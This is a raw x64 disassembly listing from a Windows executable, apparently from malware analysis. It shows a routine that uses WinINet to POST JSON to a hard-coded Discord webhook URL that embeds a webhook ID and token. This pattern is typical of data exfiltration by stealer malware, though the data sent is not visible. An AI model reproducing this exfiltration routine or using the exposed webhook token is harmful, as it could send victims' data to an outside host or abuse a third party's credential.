sub rax, rcx
cmp rax, 3
jb 0x140021f12
lea rax, [rcx + 3]
mov qword [rsp + 0x70], rax
lea rbx, [rsp + 0x60]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x60]
add rbx, rcx
mov r8d, 3
lea rdx, [0x140057084]
mov rcx, rbx
call fcn.140052c90
mov byte [rbx + 3], 0
jmp 0x140021f34
mov qword [rsp + 0x20], 3
lea r9, [0x140057084]
xor r8d, r8d
mov edx, 3
lea rcx, [rsp + 0x60]
call fcn.1400055a0
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.DiscordWebhook
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
mov r8d, 0x1bb
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, str.discord.com
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rdi, rax
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str._api_webhooks_1277784937013051392_CU6_umBb0_SFP_oMTME2RT7w0meLiSm77Qe5s_LjZZon5URGQ8tjEuEaP_O3u8mPo5rb
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rbx, rax
lea r9, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova r9, qword [rsp + 0x60]
mov ecx, dword [rsp + 0x70]
mov dword [rsp + 0x20], ecx
mov r8d, 0x20
lea rdx, str.Content_Type:_application_json_r_n
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rbp + 0x108]
cmp rdx, 0xf
jbe 0x140022044
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002203f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400221dc
call fcn.14002986c
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14002209a
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022095
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400221e2
call fcn.14002986c
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
lea rcx, [rbp + 0x198]
call fcn.14001a390
mov rcx, qword [rbp + 0x180]
test rcx, rcx
je 0x14002210e
mov rdx, qword [rbp + 0x190]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400220f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140022176
call fcn.14002986c
mov qword [rbp + 0x180], r15
mov qword [rbp + 0x188], r15
mov qword [rbp + 0x190], r15
lea rcx, [rbp + 0x168]
call fcn.14001a2c0
lea rcx, [rbp + 0x150]
call fcn.14001a4d0
mov rcx, qword [rbp + 0x120]
test rcx, rcx
je 0x140022162
mov rdx, qword [rbp + 0x130]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002215d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140022176
call fcn.14002986c
add rsp, 0x2f8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14002f614
nop
call fcn.14001a610
nop
call fcn.14002f614
int3
call fcn.14001a650
nop
call fcn.14002f614
nop
call fcn.14002f614
nop
call fcn.14002f614
nop
call fcn.14002f614
nop
call fcn.14002f614
nop
call fcn.14002f614
nop
call fcn.14002f614
nop
call fcn.14002f614
nop
call fcn.14002f614
nop
call fcn.14002f614
nop
call fcn.14001a610
int3
call fcn.14001a610
int3
call fcn.14001a610
nop
call fcn.14002f614
nop
call fcn.14002f614
int3